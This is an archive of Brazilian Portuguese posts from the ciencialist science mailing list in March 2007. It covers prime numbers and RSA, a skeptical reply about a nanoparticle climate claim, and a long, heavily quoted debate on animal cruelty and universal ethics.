>tivesse meio petroleiro de nanopartículas poderia causar uma nova era
>glacial no planeta".
>
>É o que escreve o Leonardo Boff em artigo publicado hoje em A Notícia e que
>se encontra no anexo.
>
>
>
>Bom fim de semana
>
>
>
>Hélio Mazzolli
>
>
>
>



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Números primos
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/03/2007 22:20

Ninguém vai dizer algo sobre as primas?


>From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] Números primos
>Date: Sat, 17 Mar 2007 12:19:54 -0300
>
>Michel:
>Eles sempre se reunem nos aniversários, casamentos, etc. são números
>sociáveis.
>
>sds.,
>silvio
> ----- Original Message -----
> From: Michel Moccelin Viccari
> To: ciência list
> Sent: Friday, March 16, 2007 4:31 PM
> Subject: [ciencialist] Números primos
>
>
> Olá pessoal, alguém sabe dizer qual é a aplicação dos números primos?
> Abraço
>
> __________________________________________________
> Fale com seus amigos de graça com o novo Yahoo! Messenger
> http://br.messenger.yahoo.com/
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>
>
>
>
>------------------------------------------------------------------------------
>
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.446 / Virus Database: 268.18.11/721 - Release Date:
>13/3/2007 16:51
>
>
>[As partes desta mensagem que não continham texto foram removidas]
>
>
>
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>Página de apoio
>http://www.ciencialist.com
>
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>Links do Yahoo! Grupos
>
>




SUBJECT: Re: P/ Murilo - Crueldade com animais
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/03/2007 22:36

Olá Murilo

Murilo: "Caramba, Horáculo...
Vc já foi melhor! Frente à realidade estabelecida há milhões de anos,
ela só está falando de algo denominado de ''empatia'', ou ''compaixão''."

Bem, eu tenho um bocado de empatia e compaixão..:-) Mas realmente
quero saber é em que ponto devemos colocar a linha que divide a
aplicação concreta dessa compaixão.

Por exemplo, a compaixão por um lindo coelhinho deve ser a mesma
daquela que devemos ter por um rato? Ou uma barata? Ou lombrigas?

Em algum momento, sob pena de tornar o argumento absurdo, temos de
relativizar essa compaixão, não?

Agora, o que a realidade de milhões de anos tem a ver com esta
questão? Também não é uma pergunta retórica, eu realmente queria saber
sua resposta sobre isso.

Por exemplo, as doenças se desenvolvem e evoluem há milhões de anos, e
nenhum dos seres vivos que as causam tem a menor compaixão ou mesmo a
menor idéia do que isso seja.

Um abraço.

Homero





--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
<avalanchedrive@...> escreveu
>
> Caramba, Horáculo...
> Vc já foi melhor!
> Frente à realidade estabelecida há milhões de anos, ela só está
falando de
> algo denominado de ''empatia'', ou ''compaixão''.
> abr/M.
>
>
> >From: "oraculo333" <oraculo@...>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: ciencialist@yahoogrupos.com.br
> >Subject: [ciencialist] P/ Bruna - Crueldade com animais
> >Date: Sat, 17 Mar 2007 19:36:14 -0000
> >
> >Olá Bruna
> >
> >Bruna: "A ética universal está na razão de darmos a mesma a
> >consideração ao sofrimento de outros seres como damos ao nosso próprio
> >sofrimento, independente da espécie, do sexo e das habilidades
> >intelectuais."
> >
> >Primeiro, permita-me perguntar, Por que? Por que é assim? E se eu não
> >acreditar em você, como pretende provar que é assim? Ou é apenas uma
> >questão de crença, devemos acreditar em você e pronto?
> >
> >Quer dizer, de onde tirou tal informação, que é uma das mais
> >importantes e mais polêmicas da filosofia, a existência ou não de uma
> >ética universal? Como só você encontrou a resposta, que tem dividido e
> >assombrado filósofos por séculos?
> >
> >Seria interessante saber como chegou a essa conclusão, o que a embasa,
> >quais as evidências, etc. Poderia resolver grandes problemas
> >filosóficos do ser humano.
> >
> >Em segundo, fiquei curioso com este trecho em especial, em relação a
> >parte prática, a forma de aplicar esse, generoso, princípio:
> >
> >Bruna: "independente da espécie, do sexo e das habilidades
intelectuais."
> >
> >Todos os seres vivos, independente da espécie? E das habilidades
> >intelectuais? Por exemplo, baratas estão incluídas, e devemos agir
> >pensando em sua "dor"? E Streptococcus, que causam pneumonia?
> >
> >E animais selvagens, devemos destruir todas as cidades, para que
> >possam voltar a habitar seus ambientes originais?
> >
> >E ratos, devemos impedir que sejam mortos nas cidades, pensando em sua
> >"dor"?
> >
> >Se eu tiver uma infecção de pele, devo evitar de aplicar remédios que
> >causem a morte dos micro-organismos que habitam ali? Se pegar
> >lombrigas, não posso tomar remédios que causem dor e morte a elas? As
> >pessoas que vivem em áreas da África assoladas por doenças como
> >elefantíase, não podem aplicar as drogas que matam as moscas
> >transmissoras?
> >
> >Por favor, não é uma pergunta retórica ou uma armadilha, eu realmente
> >quero saber como pretende aplicar sua alegação a casos concretos, já
> >que não há nela nenhuma limitação ou forma de decidir a linha de
"corte".
> >
> >Se considerarmos a dor de TODOS os seres vivos, independentemente de
> >qualquer outra coisa, espécie ou capacidade intelectual, como devo
> >agir nos casos concretos que citei?
> >
> >Um abraço.
> >
> >Homero
> >
> >
> >--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> ><brunacribas@> escreveu
> > >
> > > A ética universal está na razão de darmos a mesma a consideração ao
> >sofrimento de outros seres como damos ao nosso próprio sofrimento,
> > > independente da espécie, do sexo e das habilidades intelectuais.
> > >
> > > Abraços,
> > >
> > > da Bruna
> > >
> > >
> > > José Renato <jrma@> escreveu:
> >Chicão, sou-lhe grato pela troca de idéias. Mas vale perguntar: como
> >vamos
> > > achar a ética universal se não a procurarmos? Parece-me que a
> >questão está
> > > muito menos em encontrá-la, do que na força necessária para
> >considerá-la e
> > > praticá-la. Estamos esgotados por tantas solicitações que não nos
> >sobra
> > > energia para sermos o que dizemos ser: homo sapiens-sapiens.
> > > []s
> > > José Renato
> > > .............................................
> > >
> > > From: "Chicao Valadares" <chicaovaladares@To:
> > > <ciencialist@yahoogrupos.com.br>
> > > Sent: Monday, March 12, 2007 12:07 PM
> > > Subject: Re: Fw: [ciencialist] Crueldade com animais
> > >
> > > > JR vou parar por aqui. Enquanto não acharmos a ética
> > > > universal vamos ficar apenas nos achismos e no plano
> > > > da retórica. Foi proveitosa toda essa polêmica. Essa
> > > > história de escolha lembra aquele velho dilema entre
> > > > determinismo e acaso. Mas isso fica pra um outro
> > > > debate....
> > > >
> > > > Abraços.
> > > >
> > > > --- José Renato <jrma@> escreveu:
> > > >
> > > >> Olá, Chicão! Essa é uma questão de escolha... A
> > > >> nossa vida é construída,
> > > >> destruída ou mantida por permanentes escolhas que
> > > >> fazemos e pelas decisões
> > > >> que tomamos. Encontrar as melhores decisões e
> > > >> escolhas para cada situação é
> > > >> a pedra de toque que os sábios buscam há tempos.
> > > >> Como elas são praticamente
> > > >> infinitas alguns roteiros básicos são copilados para
> > > >> orientações gerais. Mas
> > > >> no particular, cada um vai ter de optar, escolher e
> > > >> decidir. Ou deixar que
> > > >> decidam por nós.
> > > >> Faço outros comentários no corpo do e-mail, após
> > > >> JR2, OK?
> > > >> ..............................................
> > > >> From: "Chicao Valadares" <chicaovaladares@To:
> > > >> <ciencialist@yahoogrupos.com.br>
> > > >> Sent: Thursday, March 08, 2007 4:22 PM
> > > >> Subject: Re: Fw: [ciencialist] Crueldade com animais
> > > >>
> > > >>
> > > >> > JR, minhas respostas seguem depois do ">>>>>".
> > > >> >
> > > >> > JR1 - Dor e prazer são sinais sensíveis relativos.
> > > >> O
> > > >> > atleta sofre muito durante a preparação para bater
> > > >> > seus recordes com a intenção de ter o prazer de
> > > >> > possuir uma medalha de ouro, seu nome nos anais,
> > > >> > valorização,
> > > >> > admiração, etc. Dor e prazer não são indicativos
> > > >> > absolutos. Muitas vezes o prazer de comer uma
> > > >> caixa de
> > > >> > chocolate acaba mal. Esse equilíbrio nas atitudes
> > > >> já
> > > >> > era perseguido por Sócrates com muito empenho.
> > > >> Perceba
> > > >> >
> > > >> > que buscar a felicidade, a glória e o gozo é o
> > > >> > objetivo maior e legítimo do ser humano. As
> > > >> > dificuldades ocorrem quando minha visão é curta e
> > > >> > atropelo tudo que de bom possuo para obter isso. A
> > > >> > troca é prejudicial a
> > > >> > mim e a todos que uso ou despacho para obter a
> > > >> > felicidade a qualquer custo. Vou postar uma
> > > >> reflexão
> > > >> > que fiz sobre isso, provocada há tempos
> > > >> > pelo Bulcão, na lista Acropolis.
> > > >> >
> > > >> >>>>>>Concordo com a relatividade.
> > > >> >
> > > >> >
> > > >> > JR1 - Mas quando o ser humano toma consciência de
> > > >> sua
> > > >> > existência passa a buscar viver de verdade, ter um
> > > >> amor de
> > > >> > verdade, ser feliz de verdade... Ilusões distraem
> > > >> e confortam
> > > >> > durante algum tempo. Mas o bom mesmo é
> > > >> > a realidade com todas as sua conseqüências.
> > > >> >
> > > >> >>>>>>O que é verdade??? A realidade é boa porque dá
> > > >> > prazer??? Eu posso na MATRIX fazer com que voce
> > > >> saiba mais
> > > >> > verdades que uma pessoa comum. Com isso você
> > > >> pensaria
> > > >> > que conhece a realidade e seria bom para você.
> > > >> > Não gostaria de entrar na MATRIX???
> > > >> JR2 - Parece que o que faço o tempo todo é tentar
> > > >> sair dela, da geléia geral
> > > >> em que estamos vivendo, da ilusão manipulada pelos
> > > >> meios de comunicação
> > > >> acionados pelos interesses comerciais e políticos.
> > > >> Viver na realidade ou na
> > > >> verdade dá mais segurança, harmonia,
> > > >> tranquilidade... O melhor em tudo é não
> > > >> confundir o imaginado e o sonhado com a Realidade. É
> > > >> isso que a Ciência
> > > >> busca.
> > > >> >
> > > >> > JR1 - Viver de mentirinha é o que já faço de
> > > >> diversas
> > > >> > maneiras e em diversas ocasiões. Mas os meus
> > > >> melhores
> > > >> > momentos da vida vieram através da realidade e da
> > > >> > lucidez em percebê-la. Nela me realizo.
> > > >> >
> > > >> >>>>>>Não gostaria de entrar na MATRIX???
> > > >> JR2 - De algum modo já estamos nela. O que procuro é
> > > >> sair dela.
> > > >> >
> > > >> > JR1 - É o que todos os "espertos e sabidórios"
> > > >> > fazem... Quanto a não
> > > >> > ser punido ou não sentir remorsos não é uma
> > > >> certeza
> > > >> > obtida de antemão.
> > > >> > Quando menos se espera vem a tal crise existencial
> > > >> e
> > > >> > aí o cara se
> > > >> > constata um merda, mentiroso, falso, safado, lixo,
> > > >> > traidor, etc. e nem sabe
> > > >> > mais quem ele é de fato no meio de tanta falsidade
> > > >> e
> > > >> > mentira.
> > > >> >
> > > >> >>>>>>Todas as pessoas não são assim. Existem
> > > >> aquelas
> > > >> > que não sentem nenhum remorso em fazer ações
> > > >> > consideradas más.
> > > >> JR2 - Alguns sentimentos são inatos. Prejudicar
> > > >> conscientemente alguém gera
> > > >> no fundo uma reflexão tipo "e se ele fizesse isso
> > > >> para mim" que vai geram um
> > > >> sentimento semelhante ao que chamamos de remorso. Em
> > > >> estudos dos diversos
> > > >> órgãos ou componentes do nosso sistema cognitivo
> > > >> identifica-se regiões onde
> > > >> estão os "bancos de dados" e procedimentos de
> > > >> avaliação ética-moral. Célebre
> > > >> é o caso do trabalhador que sofreu dano no célebro
> > > >> provocado por um prego
> > > >> disparado por uma pistola pneumática. Penetrou na
> > > >> cabeça, mas ele continuou
> > > >> consciente e aparentemente não prejudicou em nada
> > > >> seus movimentos e
> > > >> atividades intelectuais. Após a remoção do prego,
> > > >> recuperação e volta ao
> > > >> trabalho, observou-se que o cara estava com um
> > > >> comportamento diferente,
> > > >> aético, entrão, imoral, inconveniente... A partir
> > > >> daí começou-se a fazer
> > > >> testes mais acurados sobre o funcionamento dessa
> > > >> região afetada e de outras
> > > >> regiões do cérebro.
> > > >> >
> > > >> > JR1 - Prejudicar, sacanear ou fazer mal a alguém
> > > >> pode
> > > >> > dar algum prazer, algum tipo de emoção forte. Os
> > > >> > cruéis patológicos têm orgasmos ao praticar
> > > >> violência,
> > > >> > mas é um distúrbio mental que não me parece grande
> > > >> > coisa desejar possuir. Quanto à vontade de usar
> > > >> minha
> > > >> > experiência de vida para discernir o que é melhor,
> > > >> o
> > > >> > que deve ser evitado e o que precisa ser superado,
> > > >> é
> > > >> > um exercício diário que requer tempo, coragem e
> > > >> > reflexão. Cometer os mesmos erros ou o erro dos
> > > >> outros
> > > >> > burrice em dobro. Prefiro tentar algo diferente e
> > > >> que tenha
> > > >> > alguma chance de obter melhores resultados...
> > > >> >
> > > >> >>>>>> E os cruéis não patológicos??? O resto que
> > > >> você
> > > >> > disse é relativo.
> > > >> JR2 - Em sã consciência somos capazes das maiores
> > > >> crueldades e das maiores
> > > >> generosidades. Ilude-se quem acha que não é capaz de
> > > >> fazer alguma ignomínia.
> > > >> Basta estar na situação adequada para praticá-la. E
> > > >> como sempre consideramos
> > > >> algum ponto de referência pode estar certo que não
> > > >> só o resto como tudo o
> > > >> mais é relativo a esse ponto. Em geral, procura-se
> > > >> um ponto ótimo
> > > >> inatingível como referência ou norte.
> > > >> >
> > > >> > JR1 - Mas, Chicão, não é esse objetivo que nos
> > > >> ilude
> > > >> > desde sempre? O crime perfeito! E cada vez mais se
> > > >> > sofistica as formas burlar, de modo a ser à prova
> > > >> de
> > > >> > qualquer investigação, até que alguém de dentro do
> > > >> > esquema se sente enganado e, antes de ser
> > > >> eliminado,
> > > >> > denuncia(RJ) ou mesmo o burlador se rende à
> > > >> > verdade(NSN) ou por vaidade abre o bico(SN,ACM).
> > > >> >
> > > >> >>>>>> Isso também não poderá acontecer e as coisas
> > > >> > ficarem sob segredo.
> > > >> > Você disse que ser bom era mais vantajoso. Devemos
> > > >> ser
> > > >> > bons porque é mais vantajoso??? Isso depende. Ser
> > > >> mau
> > > >> > também pode ser vantajoso ao invés de ser bom.
> > > >> Note
> > > >> > que o príncipio aqui é o do ganho(teoria dos
> > > >> jogos).
> > > >> > Então ambos são duas faces de uma mesma moeda. Por
> > > >> > esse principio você é igual às siglas. [ ... ]
> > > >> JR2 - É o jogo do ganha-ganha... É mais vantajoso a
> > > >> longo prazo quando todos
> > > >> ganham, e essa possibilidade deve ser considerada e
> > > >> buscada permanentemente.
> > > >> No perde-ganha vc não vive em paz. Alguém vai querer
> > > >> tirar o que vc já
> > > >> ganhou prejudicando ou não prejudicando outras
> > > >> pessoas. Esse é o normal na
> > > >> maioria das nossas comunidades.
> > > >>
> > > > === message truncated ===
> > > >
> > > >
> > > > "O Binômio de Newton é tão belo como a Vênus de Milo.
> > > > O que há é pouca gente para dar por isso... "
> > > > Fernando Pessoa - Poesias de Alvaro Campos
> > > >
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> > > > para uso restrito, sendo seu sigilo protegido por lei. Caso
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SUBJECT: Re: [ciencialist] P/ Ferrari - Re: Sobre o Método Cientifico - teologia
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/03/2007 22:39

> hehehehe...
>
> homero, fica tranquilo
> as leis do universo, sejam eles, cientifica ou
> teológicas, não vão desentorar a banana,
>

Porque não? :-) Apesar das bananeiras serem assexuadas ("clones naturais"),
o que diminui muito a variabilidade genética, e de o homem ser uma variável
de grande peso na seleção genética desta e, talvez (ou não), rejeitar
bananas menos tortas, a "seleção natural" desta pode, ainda assim, como
sempre, caminhar neste sentido. Talvez até alguma ancestral da bananeira
atual já tenha dado bananas retas, vai saber! :)

[]´,s
Jeff.




SUBJECT: Re: [ciencialist] Números primos
FROM: Alexandre Erwin Ittner <ittner.listas@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/03/2007 22:47

Michel Moccelin Viccari <michelm.viccari@yahoo.com.br> wrote

> Olá pessoal, alguém sabe dizer qual é a aplicação dos números primos?

Uma aplicação contemporânea bem conhecida é o algoritmo de criptografia
assimétrica RSA. Seu funcionamento baseia-se na fatoração de números que
é um problema clássico para o qual não existe solução em tempo
polinomial. Ele é o que se chama de problema NP-difícil.

Só as explicações do RSA e a diferença entre problemas das classes P e NP
seriam suficientes para eu escrever várias páginas. Sugiro que você
procure por alguns dos muitos textos que já foram escritos sobre esse
tema.

--
Alexandre Erwin Ittner - aittner@netuno.com.br
OpenPGP pubkey 0x0041A1FB @ http://pgp.mit.edu


SUBJECT: Re: [ciencialist] Fw: nanotecnologia
FROM: Alexandre Erwin Ittner <ittner.listas@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/03/2007 22:47

"murilo filo" <avalanchedrive@hotmail.com> wrote

> Oi, lista!
> Será possível um treco assim?

Não sei como (ou se) as nanopartículas citadas poderiam influenciar no
crescimento do plâncton. Você tem uma referência válida para esse
experimento? Uma citação vaga em um artigo de jornal assinado por uma
pessoa que, depois de uma pesquisa rápida no Google, descobre-se ser um
autor de livros exotéricos não me dá nenhuma confiança.

--
Alexandre Erwin Ittner - aittner@netuno.com.br
OpenPGP pubkey 0x0041A1FB @ http://pgp.mit.edu


SUBJECT: RE: [ciencialist] P/ Bruna - Crueldade com animais
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/03/2007 23:39

Eu já lhe respondi uma vez, Homero, e vou lhe responder pela última;
a prática da compaixão está relacionada a não violência contra seres que não ferem a sua própria vida, quero dizer, que não arriscam a tua existência.

Comer carne, utlizar-se de produtos animais, assistir espetáculos com animais, utlizar produtos que provocam dor e sofrimento aos animais, etc...
é imprescindível a tua existência?
Se acreditas que sim, então não somente os animais são teus escravos como tu também és escravo das tuas crenças e consumismo.

Bem, não podendo eu me estender mais, peço desculpa aos colegas da lista e
atenciosamente,

abraços,

da Bruna


murilo filo <avalanchedrive@hotmail.com> escreveu: Caramba, Horáculo...
Vc já foi melhor!
Frente à realidade estabelecida há milhões de anos, ela só está falando de
algo denominado de ''empatia'', ou ''compaixão''.
abr/M.

>From: "oraculo333" <oraculo@atibaia.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] P/ Bruna - Crueldade com animais
>Date: Sat, 17 Mar 2007 19:36:14 -0000
>
>Olá Bruna
>
>Bruna: "A ética universal está na razão de darmos a mesma a
>consideração ao sofrimento de outros seres como damos ao nosso próprio
>sofrimento, independente da espécie, do sexo e das habilidades
>intelectuais."
>
>Primeiro, permita-me perguntar, Por que? Por que é assim? E se eu não
>acreditar em você, como pretende provar que é assim? Ou é apenas uma
>questão de crença, devemos acreditar em você e pronto?
>
>Quer dizer, de onde tirou tal informação, que é uma das mais
>importantes e mais polêmicas da filosofia, a existência ou não de uma
>ética universal? Como só você encontrou a resposta, que tem dividido e
>assombrado filósofos por séculos?
>
>Seria interessante saber como chegou a essa conclusão, o que a embasa,
>quais as evidências, etc. Poderia resolver grandes problemas
>filosóficos do ser humano.
>
>Em segundo, fiquei curioso com este trecho em especial, em relação a
>parte prática, a forma de aplicar esse, generoso, princípio:
>
>Bruna: "independente da espécie, do sexo e das habilidades intelectuais."
>
>Todos os seres vivos, independente da espécie? E das habilidades
>intelectuais? Por exemplo, baratas estão incluídas, e devemos agir
>pensando em sua "dor"? E Streptococcus, que causam pneumonia?
>
>E animais selvagens, devemos destruir todas as cidades, para que
>possam voltar a habitar seus ambientes originais?
>
>E ratos, devemos impedir que sejam mortos nas cidades, pensando em sua
>"dor"?
>
>Se eu tiver uma infecção de pele, devo evitar de aplicar remédios que
>causem a morte dos micro-organismos que habitam ali? Se pegar
>lombrigas, não posso tomar remédios que causem dor e morte a elas? As
>pessoas que vivem em áreas da África assoladas por doenças como
>elefantíase, não podem aplicar as drogas que matam as moscas
>transmissoras?
>
>Por favor, não é uma pergunta retórica ou uma armadilha, eu realmente
>quero saber como pretende aplicar sua alegação a casos concretos, já
>que não há nela nenhuma limitação ou forma de decidir a linha de "corte".
>
>Se considerarmos a dor de TODOS os seres vivos, independentemente de
>qualquer outra coisa, espécie ou capacidade intelectual, como devo
>agir nos casos concretos que citei?
>
>Um abraço.
>
>Homero
>
>
>--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
><brunacribas@...> escreveu
> >
> > A ética universal está na razão de darmos a mesma a consideração ao
>sofrimento de outros seres como damos ao nosso próprio sofrimento,
> > independente da espécie, do sexo e das habilidades intelectuais.
> >
> > Abraços,
> >
> > da Bruna
> >
> >
> > José Renato <jrma@...> escreveu:
>Chicão, sou-lhe grato pela troca de idéias. Mas vale perguntar: como
>vamos
> > achar a ética universal se não a procurarmos? Parece-me que a
>questão está
> > muito menos em encontrá-la, do que na força necessária para
>considerá-la e
> > praticá-la. Estamos esgotados por tantas solicitações que não nos
>sobra
> > energia para sermos o que dizemos ser: homo sapiens-sapiens.
> > []s
> > José Renato
> > .............................................
> >
> > From: "Chicao Valadares" <chicaovaladares@To:
> > <ciencialist@yahoogrupos.com.br>
> > Sent: Monday, March 12, 2007 12:07 PM
> > Subject: Re: Fw: [ciencialist] Crueldade com animais
> >
> > > JR vou parar por aqui. Enquanto não acharmos a ética
> > > universal vamos ficar apenas nos achismos e no plano
> > > da retórica. Foi proveitosa toda essa polêmica. Essa
> > > história de escolha lembra aquele velho dilema entre
> > > determinismo e acaso. Mas isso fica pra um outro
> > > debate....
> > >
> > > Abraços.
> > >
> > > --- José Renato <jrma@...> escreveu:
> > >
> > >> Olá, Chicão! Essa é uma questão de escolha... A
> > >> nossa vida é construída,
> > >> destruída ou mantida por permanentes escolhas que
> > >> fazemos e pelas decisões
> > >> que tomamos. Encontrar as melhores decisões e
> > >> escolhas para cada situação é
> > >> a pedra de toque que os sábios buscam há tempos.
> > >> Como elas são praticamente
> > >> infinitas alguns roteiros básicos são copilados para
> > >> orientações gerais. Mas
> > >> no particular, cada um vai ter de optar, escolher e
> > >> decidir. Ou deixar que
> > >> decidam por nós.
> > >> Faço outros comentários no corpo do e-mail, após
> > >> JR2, OK?
> > >> ..............................................
> > >> From: "Chicao Valadares" <chicaovaladares@To:
> > >> <ciencialist@yahoogrupos.com.br>
> > >> Sent: Thursday, March 08, 2007 4:22 PM
> > >> Subject: Re: Fw: [ciencialist] Crueldade com animais
> > >>
> > >>
> > >> > JR, minhas respostas seguem depois do ">>>>>".
> > >> >
> > >> > JR1 - Dor e prazer são sinais sensíveis relativos.
> > >> O
> > >> > atleta sofre muito durante a preparação para bater
> > >> > seus recordes com a intenção de ter o prazer de
> > >> > possuir uma medalha de ouro, seu nome nos anais,
> > >> > valorização,
> > >> > admiração, etc. Dor e prazer não são indicativos
> > >> > absolutos. Muitas vezes o prazer de comer uma
> > >> caixa de
> > >> > chocolate acaba mal. Esse equilíbrio nas atitudes
> > >> já
> > >> > era perseguido por Sócrates com muito empenho.
> > >> Perceba
> > >> >
> > >> > que buscar a felicidade, a glória e o gozo é o
> > >> > objetivo maior e legítimo do ser humano. As
> > >> > dificuldades ocorrem quando minha visão é curta e
> > >> > atropelo tudo que de bom possuo para obter isso. A
> > >> > troca é prejudicial a
> > >> > mim e a todos que uso ou despacho para obter a
> > >> > felicidade a qualquer custo. Vou postar uma
> > >> reflexão
> > >> > que fiz sobre isso, provocada há tempos
> > >> > pelo Bulcão, na lista Acropolis.
> > >> >
> > >> >>>>>>Concordo com a relatividade.
> > >> >
> > >> >
> > >> > JR1 - Mas quando o ser humano toma consciência de
> > >> sua
> > >> > existência passa a buscar viver de verdade, ter um
> > >> amor de
> > >> > verdade, ser feliz de verdade... Ilusões distraem
> > >> e confortam
> > >> > durante algum tempo. Mas o bom mesmo é
> > >> > a realidade com todas as sua conseqüências.
> > >> >
> > >> >>>>>>O que é verdade??? A realidade é boa porque dá
> > >> > prazer??? Eu posso na MATRIX fazer com que voce
> > >> saiba mais
> > >> > verdades que uma pessoa comum. Com isso você
> > >> pensaria
> > >> > que conhece a realidade e seria bom para você.
> > >> > Não gostaria de entrar na MATRIX???
> > >> JR2 - Parece que o que faço o tempo todo é tentar
> > >> sair dela, da geléia geral
> > >> em que estamos vivendo, da ilusão manipulada pelos
> > >> meios de comunicação
> > >> acionados pelos interesses comerciais e políticos.
> > >> Viver na realidade ou na
> > >> verdade dá mais segurança, harmonia,
> > >> tranquilidade... O melhor em tudo é não
> > >> confundir o imaginado e o sonhado com a Realidade. É
> > >> isso que a Ciência
> > >> busca.
> > >> >
> > >> > JR1 - Viver de mentirinha é o que já faço de
> > >> diversas
> > >> > maneiras e em diversas ocasiões. Mas os meus
> > >> melhores
> > >> > momentos da vida vieram através da realidade e da
> > >> > lucidez em percebê-la. Nela me realizo.
> > >> >
> > >> >>>>>>Não gostaria de entrar na MATRIX???
> > >> JR2 - De algum modo já estamos nela. O que procuro é
> > >> sair dela.
> > >> >
> > >> > JR1 - É o que todos os "espertos e sabidórios"
> > >> > fazem... Quanto a não
> > >> > ser punido ou não sentir remorsos não é uma
> > >> certeza
> > >> > obtida de antemão.
> > >> > Quando menos se espera vem a tal crise existencial
> > >> e
> > >> > aí o cara se
> > >> > constata um merda, mentiroso, falso, safado, lixo,
> > >> > traidor, etc. e nem sabe
> > >> > mais quem ele é de fato no meio de tanta falsidade
> > >> e
> > >> > mentira.
> > >> >
> > >> >>>>>>Todas as pessoas não são assim. Existem
> > >> aquelas
> > >> > que não sentem nenhum remorso em fazer ações
> > >> > consideradas más.
> > >> JR2 - Alguns sentimentos são inatos. Prejudicar
> > >> conscientemente alguém gera
> > >> no fundo uma reflexão tipo "e se ele fizesse isso
> > >> para mim" que vai geram um
> > >> sentimento semelhante ao que chamamos de remorso. Em
> > >> estudos dos diversos
> > >> órgãos ou componentes do nosso sistema cognitivo
> > >> identifica-se regiões onde
> > >> estão os "bancos de dados" e procedimentos de
> > >> avaliação ética-moral. Célebre
> > >> é o caso do trabalhador que sofreu dano no célebro
> > >> provocado por um prego
> > >> disparado por uma pistola pneumática. Penetrou na
> > >> cabeça, mas ele continuou
> > >> consciente e aparentemente não prejudicou em nada
> > >> seus movimentos e
> > >> atividades intelectuais. Após a remoção do prego,
> > >> recuperação e volta ao
> > >> trabalho, observou-se que o cara estava com um
> > >> comportamento diferente,
> > >> aético, entrão, imoral, inconveniente... A partir
> > >> daí começou-se a fazer
> > >> testes mais acurados sobre o funcionamento dessa
> > >> região afetada e de outras
> > >> regiões do cérebro.
> > >> >
> > >> > JR1 - Prejudicar, sacanear ou fazer mal a alguém
> > >> pode
> > >> > dar algum prazer, algum tipo de emoção forte. Os
> > >> > cruéis patológicos têm orgasmos ao praticar
> > >> violência,
> > >> > mas é um distúrbio mental que não me parece grande
> > >> > coisa desejar possuir. Quanto à vontade de usar
> > >> minha
> > >> > experiência de vida para discernir o que é melhor,
> > >> o
> > >> > que deve ser evitado e o que precisa ser superado,
> > >> é
> > >> > um exercício diário que requer tempo, coragem e
> > >> > reflexão. Cometer os mesmos erros ou o erro dos
> > >> outros
> > >> > burrice em dobro. Prefiro tentar algo diferente e
> > >> que tenha
> > >> > alguma chance de obter melhores resultados...
> > >> >
> > >> >>>>>> E os cruéis não patológicos??? O resto que
> > >> você
> > >> > disse é relativo.
> > >> JR2 - Em sã consciência somos capazes das maiores
> > >> crueldades e das maiores
> > >> generosidades. Ilude-se quem acha que não é capaz de
> > >> fazer alguma ignomínia.
> > >> Basta estar na situação adequada para praticá-la. E
> > >> como sempre consideramos
> > >> algum ponto de referência pode estar certo que não
> > >> só o resto como tudo o
> > >> mais é relativo a esse ponto. Em geral, procura-se
> > >> um ponto ótimo
> > >> inatingível como referência ou norte.
> > >> >
> > >> > JR1 - Mas, Chicão, não é esse objetivo que nos
> > >> ilude
> > >> > desde sempre? O crime perfeito! E cada vez mais se
> > >> > sofistica as formas burlar, de modo a ser à prova
> > >> de
> > >> > qualquer investigação, até que alguém de dentro do
> > >> > esquema se sente enganado e, antes de ser
> > >> eliminado,
> > >> > denuncia(RJ) ou mesmo o burlador se rende à
> > >> > verdade(NSN) ou por vaidade abre o bico(SN,ACM).
> > >> >
> > >> >>>>>> Isso também não poderá acontecer e as coisas
> > >> > ficarem sob segredo.
> > >> > Você disse que ser bom era mais vantajoso. Devemos
> > >> ser
> > >> > bons porque é mais vantajoso??? Isso depende. Ser
> > >> mau
> > >> > também pode ser vantajoso ao invés de ser bom.
> > >> Note
> > >> > que o príncipio aqui é o do ganho(teoria dos
> > >> jogos).
> > >> > Então ambos são duas faces de uma mesma moeda. Por
> > >> > esse principio você é igual às siglas. [ ... ]
> > >> JR2 - É o jogo do ganha-ganha... É mais vantajoso a
> > >> longo prazo quando todos
> > >> ganham, e essa possibilidade deve ser considerada e
> > >> buscada permanentemente.
> > >> No perde-ganha vc não vive em paz. Alguém vai querer
> > >> tirar o que vc já
> > >> ganhou prejudicando ou não prejudicando outras
> > >> pessoas. Esse é o normal na
> > >> maioria das nossas comunidades.
> > >>
> > > === message truncated ===
> > >
> > >
> > > "O Binômio de Newton é tão belo como a Vênus de Milo.
> > > O que há é pouca gente para dar por isso... "
> > > Fernando Pessoa - Poesias de Alvaro Campos
> > >
> > > __________________________________________________________
> > > As informações existentes nessa mensagem e no(s) arquivo(s)
>anexado(s)
> > > são
> > > para uso restrito, sendo seu sigilo protegido por lei. Caso não seja
> > > destinatário, saiba que leitura, divulgação ou cópia são proibidas.
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SUBJECT: Re: P/ Bruna - Crueldade com animais
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/03/2007 00:12

Olá Bruna

Bruna: "Eu já lhe respondi uma vez, Homero, e vou lhe responder pela
última; a prática da compaixão está relacionada a não violência contra
seres que não ferem a sua própria vida, quero dizer, que não arriscam
a tua existência."

Bem, então quando diz que a consideração que devemos ter
"independente da espécie, do sexo e das habilidades intelectuais.",
não é bem assim. Há uma linha de graduação que determina, corta, a
aplicação da tal compaixão a "todos os seres vivos".

